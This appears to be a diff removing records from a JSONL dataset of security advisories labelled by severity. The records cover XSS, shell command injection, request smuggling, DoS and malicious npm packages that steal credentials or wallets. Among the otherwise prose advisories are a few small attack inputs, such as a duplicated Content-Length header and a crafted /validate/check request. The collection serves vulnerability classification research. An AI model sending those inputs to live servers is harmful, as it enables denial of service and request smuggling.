transformations to an HTML document to make it usable as an email message body. One of the transformations is to convert relative image URLs into attachments using a script-provided base directory. If no base directory is provided, it resolves to `/`, meaning that relative image URLs get treated as absolute local file paths and added as attachments. To form a remote vulnerability, the msgHTML method must be called, passed an unfiltered, user-supplied HTML document, and must not set a base directory.\n\n### Impact\nArbitrary local files can be attached to email messages.\n\n### Patches\nFixed in 5.2.22\n\n### Workarounds\nValidate input before using user-supplied file paths.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-5223\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "701c791358fb5318fda4", "text": "Improper parsing of octal bytes in netmask\n\nImproper input validation of octal strings in netmask npm package v1.0.6 and below allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.\n\n:exclamation: NOTE: The fix for this issue was incomplete. A subsequent fix was made in version `2.0.1` which was assigned [CVE-2021-29418 / GHSA-pch5-whg9-qr2r](https://github.com/advisories/GHSA-pch5-whg9-qr2r). For complete protection from this vulnerability an upgrade to version 2.0.1 or later is recommended.", "text_raw": "Improper parsing of octal bytes in netmask\n\n[Severity: CRITICAL]\n\nImproper input validation of octal strings in netmask npm package v1.0.6 and below allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.\n\n:exclamation: NOTE: The fix for this issue was incomplete. A subsequent fix was made in version `2.0.1` which was assigned [CVE-2021-29418 / GHSA-pch5-whg9-qr2r](https://github.com/advisories/GHSA-pch5-whg9-qr2r). For complete protection from this vulnerability an upgrade to version 2.0.1 or later is recommended.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-14", "split": "train"}
-{"id": "8111e446a81c049c4720", "text": "md2pdf allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename\n\n`converter.rb` in the md2pdf gem 0.0.1 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename.", "text_raw": "md2pdf allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename\n\n[Severity: CRITICAL]\n\n`converter.rb` in the md2pdf gem 0.0.1 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7f878198b4931e29ce44", "text": "Uncontrolled Resource Consumption in ansi-html\n\nThis affects all versions of package ansi-html. If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.", "text_raw": "Uncontrolled Resource Consumption in ansi-html\n\n[Severity: HIGH]\n\nThis affects all versions of package ansi-html. If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "2fe18863c5c26e5fdaa5", "text": "iBilling v3.7.0 Multiple Stored and Reflected Cross-Site Scripting Vulnerabilities", "text_raw": "iBilling v3.7.0 Multiple Stored and Reflected Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-06-24", "split": "train"}
-{"id": "75b2f1615a017018fcb2", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "5fc2d46422ebc0eb0c0b", "text": "python-gnupg allows context-dependent attackers to execute arbitrary commands via shell metacharacters\n\npython-gnupg before 0.3.5 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.", "text_raw": "python-gnupg allows context-dependent attackers to execute arbitrary commands via shell metacharacters\n\n[Severity: HIGH]\n\npython-gnupg before 0.3.5 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "8eeeb2171d7170d9c0b6", "text": "Keycloak Missing authentication for critical function\n\nA flaw was found in Keycloak 12.0.0 where re-authentication does not occur while updating the password. This flaw allows an attacker to take over an account if they can obtain temporary, physical access to a user’s browser. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.", "text_raw": "Keycloak Missing authentication for critical function\n\n[Severity: MEDIUM]\n\nA flaw was found in Keycloak 12.0.0 where re-authentication does not occur while updating the password. This flaw allows an attacker to take over an account if they can obtain temporary, physical access to a user’s browser. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "899eb9a4c9c61aa86177", "text": "babelcli is malware\n\nThe `babelcli` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "babelcli is malware\n\n[Severity: HIGH]\n\nThe `babelcli` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "c08b246111c091e7a2a4", "text": "Withdrawn: Laravel Framework does not sufficiently block the upload of executable PHP content.\n\n# Withdrawn\n\nThis advisory has been withdrawn after the maintainers of Laravel noted this issue is not a security vulnerability with Laravel itself, but rather a userland issue.\n\n## Original CVE based description\n\nLaravel Framework through 8.70.2 does not sufficiently block the upload of executable PHP content because Illuminate/Validation/Concerns/ValidatesAttributes.php lacks a check for .phar files, which are handled as application/x-httpd-php on systems based on Debian. In some use cases, this may be related to file-type validation for image upload (e.g., differences between getClientOriginalExtension and other approaches).", "text_raw": "Withdrawn: Laravel Framework does not sufficiently block the upload of executable PHP content.\n\n[Severity: MEDIUM]\n\n# Withdrawn\n\nThis advisory has been withdrawn after the maintainers of Laravel noted this issue is not a security vulnerability with Laravel itself, but rather a userland issue.\n\n## Original CVE based description\n\nLaravel Framework through 8.70.2 does not sufficiently block the upload of executable PHP content because Illuminate/Validation/Concerns/ValidatesAttributes.php lacks a check for .phar files, which are handled as application/x-httpd-php on systems based on Debian. In some use cases, this may be related to file-type validation for image upload (e.g., differences between getClientOriginalExtension and other approaches).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "48a3a13f7a27fdb7e1b7", "text": "Malicious Package in reequest\n\nAll versions of `reequest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in reequest\n\n[Severity: CRITICAL]\n\nAll versions of `reequest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "d75f3066f552add3c565", "text": "Cross-Site Scripting in ternary conditional operator\n\n---\n\n:information_source: &nbsp;This vulnerability has been fixed in May 2019 already, CVE and GHSA were assigned later in October 2020\n\n---\n\n### Problem\nIt has been discovered that the Fluid Engine (package `typo3fluid/fluid`) is vulnerable to cross-site scripting when making use of the ternary conditional operator in templates like the following.\n\n```\n{showFullName ? fullName : defaultValue}\n```\n\n### Solution\nUpdate to versions 2.0.5, 2.1.4, 2.2.1, 2.3.5, 2.4.1, 2.5.5 or 2.6.1 of this `typo3fluid/fluid` package that fix the problem described.\n\nUpdated versions of this package are bundled in following TYPO3 (`typo3/cms-core`) releases:\n* TYPO3 v8.7.25 (using `typo3fluid/fluid` v2.5.5)\n* TYPO3 v9.5.6 (using `typo3fluid/fluid` v2.6.1)\n\n### Credits\nThanks to Bill Dagou who reported this issue and to TYPO3 core merger Claus Due who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2019-013](https://typo3.org/security/advisory/typo3-core-sa-2019-013)", "text_raw": "Cross-Site Scripting in ternary conditional operator\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C`(5.0)\n> * CWE-79\n\n---\n\n:information_source: &nbsp;This vulnerability has been fixed in May 2019 already, CVE and GHSA were assigned later in October 2020\n\n---\n\n### Problem\nIt has been discovered that the Fluid Engine (package `typo3fluid/fluid`) is vulnerable to cross-site scripting when making use of the ternary conditional operator in templates like the following.\n\n```\n{showFullName ? fullName : defaultValue}\n```\n\n### Solution\nUpdate to versions 2.0.5, 2.1.4, 2.2.1, 2.3.5, 2.4.1, 2.5.5 or 2.6.1 of this `typo3fluid/fluid` package that fix the problem described.\n\nUpdated versions of this package are bundled in following TYPO3 (`typo3/cms-core`) releases:\n* TYPO3 v8.7.25 (using `typo3fluid/fluid` v2.5.5)\n* TYPO3 v9.5.6 (using `typo3fluid/fluid` v2.6.1)\n\n### Credits\nThanks to Bill Dagou who reported this issue and to TYPO3 core merger Claus Due who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2019-013](https://typo3.org/security/advisory/typo3-core-sa-2019-013)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-08", "split": "train"}
-{"id": "c1887e9262c195043bfd", "text": "Denial of Service in SheetJS Pro\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.", "text_raw": "Denial of Service in SheetJS Pro\n\n[Severity: MEDIUM]\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "a013aaf5993d33763253", "text": "Withdrawn, accidental duplicate publish.\n\nThe Doorkeeper gem before 4.2.0 for Ruby might allow remote attackers to conduct replay attacks or revoke arbitrary tokens by leveraging failure to implement the OAuth 2.0 Token Revocation specification.", "text_raw": "Moderate severity vulnerability that affects doorkeeper\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe Doorkeeper gem before 4.2.0 for Ruby might allow remote attackers to conduct replay attacks or revoke arbitrary tokens by leveraging failure to implement the OAuth 2.0 Token Revocation specification.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "41ebdc37af94b8a5046b", "text": "ECOA Building Automation System Configuration Download Information Disclosure", "text_raw": "ECOA Building Automation System Configuration Download Information Disclosure\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "8a262648d601310786bf", "text": "SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password", "text_raw": "SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "ae6f573732e0286e7a88", "text": "Thumbshooter vulnerable to Code Injection\n\nlib/thumbshooter.rb in the Thumbshooter 0.1.5 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "text_raw": "Thumbshooter vulnerable to Code Injection\n\n[Severity: HIGH]\n\nlib/thumbshooter.rb in the Thumbshooter 0.1.5 gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "a73fcc6a14cab24bf36d", "text": "sqliter is malware\n\nThe `sqliter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "sqliter is malware\n\n[Severity: HIGH]\n\nThe `sqliter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "2d2e0618adb313a6f306", "text": "Cross-Site Scripting in status-board\n\nAll versions of `status-board` are vulnerable to Cross-Site Scripting. The `renderJsDashboard()` function concatenates the `safeDashboard` variable to the HTTP response message with insufficient sanitization. If this variable is controlled by user input it may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in status-board\n\n[Severity: MEDIUM]\n\nAll versions of `status-board` are vulnerable to Cross-Site Scripting. The `renderJsDashboard()` function concatenates the `safeDashboard` variable to the HTTP response message with insufficient sanitization. If this variable is controlled by user input it may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "ae60e41207f699186926", "text": "HTTP Request Smuggling: Content-Length Sent Twice in Waitress\n\n### Impact\n\nWaitress would header fold a double `Content-Length` header and due to being unable to cast the now comma separated value to an integer would set the `Content-Length` to 0 internally.\n\nSo a request with:\n\n```\nContent-Length: 10\nContent-Length: 10\n```\n\nwould get transformed to:\n\n```\nContent-Length: 10, 10\n```\n\nWhich would Waitress would then internally set to `Content-Lenght: 0`.\n\nWaitress would then treat the request as having no body, thereby treating the body of the request as a new request in HTTP pipelining.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don't cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn't use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method).\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "HTTP Request Smuggling: Content-Length Sent Twice in Waitress\n\n[Severity: CRITICAL]\n\n### Impact\n\nWaitress would header fold a double `Content-Length` header and due to being unable to cast the now comma separated value to an integer would set the `Content-Length` to 0 internally.\n\nSo a request with:\n\n```\nContent-Length: 10\nContent-Length: 10\n```\n\nwould get transformed to:\n\n```\nContent-Length: 10, 10\n```\n\nWhich would Waitress would then internally set to `Content-Lenght: 0`.\n\nWaitress would then treat the request as having no body, thereby treating the body of the request as a new request in HTTP pipelining.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies. \n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don't cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn't use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method).\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-20", "split": "train"}
-{"id": "70e359370205832b78f2", "text": "MongoDB mongo-express Remote Code Execution Vulnerability\n\nAffected: MongoDB mongo-express\n\nmongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "MongoDB mongo-express Remote Code Execution Vulnerability\n\nAffected: MongoDB mongo-express\n\nmongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "7508f063bafd3c0b7031", "text": "Denial of Service in serialize-to-js\n\nVersions of `serialize-to-js` prior to 2.0.0 are vulnerable to Denial of Service. User input is not properly validated, allowing attackers to provide inputs that lead the execution to loop indefinitely.\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "text_raw": "Denial of Service in serialize-to-js\n\n[Severity: HIGH]\n\nVersions of `serialize-to-js` prior to 2.0.0 are vulnerable to Denial of Service. User input is not properly validated, allowing attackers to provide inputs that lead the execution to loop indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "27bc960d4493fc17bc6e", "text": "gollum and gollum-lib allow remote authenticated users to execute arbitrary code\n\nThe gollum-grit_adapter Ruby gem dependency in gollum before 3.1.1 and the gollum-lib gem dependency in gollum-lib before 4.0.1 when the string `master` is in any of the wiki documents, allows remote authenticated users to execute arbitrary code via the `-O` or `--open-files-in-pager` flags.", "text_raw": "gollum and gollum-lib allow remote authenticated users to execute arbitrary code\n\n[Severity: HIGH]\n\nThe gollum-grit_adapter Ruby gem dependency in gollum before 3.1.1 and the gollum-lib gem dependency in gollum-lib before 4.0.1 when the string `master` is in any of the wiki documents, allows remote authenticated users to execute arbitrary code via the `-O` or `--open-files-in-pager` flags.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-16", "split": "train"}
-{"id": "740ea8bec87f52771e76", "text": "snipe-it is vulnerable to Cross-site Scripting\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "snipe-it is vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "d2b2a9d2b1f36d16be67", "text": "Denial of service (via resource exhaustion) due to improper input validation in third-party identifier endpoint\n\n### Impact\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\nThe issue is fixed by https://github.com/matrix-org/synapse/pull/9855.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Denial of service (via resource exhaustion) due to improper input validation in third-party identifier endpoint\n\n[Severity: MEDIUM]\n\n### Impact\nMissing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion.\n\n### Patches\nThe issue is fixed by https://github.com/matrix-org/synapse/pull/9855.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\nn/a\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@matrix.org.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-19", "split": "train"}
-{"id": "455279988cefed3128eb", "text": "Remote code execution in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1057, CVE-2020-1172.", "text_raw": "Remote code execution in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1057, CVE-2020-1172.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "dadc4c1eb9ffb0a4f133", "text": "A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "b0636d8deee5aa7fe3cc", "text": "Malicious Package in bictoin-ops\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bictoin-ops\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "846cba963ab75e67c879", "text": "Remote Code Execution in Any23\n\nA Remote Code Execution (RCE) vulnerability was discovered in the Any23 YAMLExtractor.java file and is known to affect Any23 versions < 2.5. RCE vulnerabilities allow a malicious actor to execute any code of their choice on a remote machine over LAN, WAN, or internet. RCE belongs to the broader class of arbitrary code execution (ACE) vulnerabilities.", "text_raw": "Remote Code Execution in Any23\n\n[Severity: CRITICAL]\n\nA Remote Code Execution (RCE) vulnerability was discovered in the Any23 YAMLExtractor.java file and is known to affect Any23 versions < 2.5. RCE vulnerabilities allow a malicious actor to execute any code of their choice on a remote machine over LAN, WAN, or internet. RCE belongs to the broader class of arbitrary code execution (ACE) vulnerabilities.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "74eba95be121eb6a8d13", "text": "AngularJS Cross-site Scripting due to failure to sanitize `xlink.href` attributes\n\nVersions of `angular` prior to 1.5.0-beta.1 are vulnerable to Cross-Site Scripting. The package fails to sanitize `xlink:href` attributes, which may allow attackers to execute arbitrary JavaScript in a victim's browser if the value is user-controlled.\n\n## Recommendation\n\nUpgrade to version 1.5.0-beta.1 or later.", "text_raw": "AngularJS Cross-site Scripting due to failure to sanitize `xlink.href` attributes\n\n[Severity: MEDIUM]\n\nVersions of `angular` prior to 1.5.0-beta.1 are vulnerable to Cross-Site Scripting. The package fails to sanitize `xlink:href` attributes, which may allow attackers to execute arbitrary JavaScript in a victim's browser if the value is user-controlled.\n\n\n## Recommendation\n\nUpgrade to version 1.5.0-beta.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
-{"id": "2085cfe17621d80296e2", "text": "privacyIDEA Improper Input Validation vulnerability\n\nprivacyIDEA version 2.23.1 and earlier contains a Improper Input Validation vulnerability in token validation api that can result in Denial-of-Service. This attack appear to be exploitable via http request with user=<space>&pass= to /validate/check url. This vulnerability appears to have been fixed in 2.23.2.", "text_raw": "privacyIDEA Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nprivacyIDEA version 2.23.1 and earlier contains a Improper Input Validation vulnerability in token validation api that can result in Denial-of-Service. This attack appear to be exploitable via http request with user=<space>&pass= to /validate/check url. This vulnerability appears to have been fixed in 2.23.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-14", "split": "train"}
-{"id": "1ecbcb283f534806624e", "text": "Malicious Package in stream-combine\n\nVersion 2.0.2 of `stream-combine` has malicious code design to steal credentials and credit card information. The code searches all form elements for passwords, credit card numbers and CVC codes. It then uploads the information to a remote server using HTML links embedded in the page or form actions. If your application has Content Security Policy set you are not affected by this issue.\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you used this module and your application processed credentials or credit card information, it is possible that information was stolen.\n\nUsers may consider downgrading to version 2.0.1", "text_raw": "Malicious Package in stream-combine\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 of `stream-combine` has malicious code design to steal credentials and credit card information. The code searches all form elements for passwords, credit card numbers and CVC codes. It then uploads the information to a remote server using HTML links embedded in the page or form actions. If your application has Content Security Policy set you are not affected by this issue.\n\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you used this module and your application processed credentials or credit card information, it is possible that information was stolen.\n\nUsers may consider downgrading to version 2.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "4cdafc0d0bb777fbeed5", "text": "Foxit Reader 7.0.6.1126 Unquoted Service Path Elevation Of Privilege", "text_raw": "Foxit Reader 7.0.6.1126 Unquoted Service Path Elevation Of Privilege\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-03-14", "split": "train"}
-{"id": "6d542db48dd6b709ee73", "text": "Active Record Improper Access Control\n\n`activerecord/lib/active_record/nested_attributes.rb` in Active Record in Ruby on Rails 3.1.x and 3.2.x before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly implement a certain destroy option, which allows remote attackers to bypass intended change restrictions by leveraging use of the nested attributes feature.", "text_raw": "Active Record Improper Access Control\n\n[Severity: MEDIUM]\n\n`activerecord/lib/active_record/nested_attributes.rb` in Active Record in Ruby on Rails 3.1.x and 3.2.x before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly implement a certain destroy option, which allows remote attackers to bypass intended change restrictions by leveraging use of the nested attributes feature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
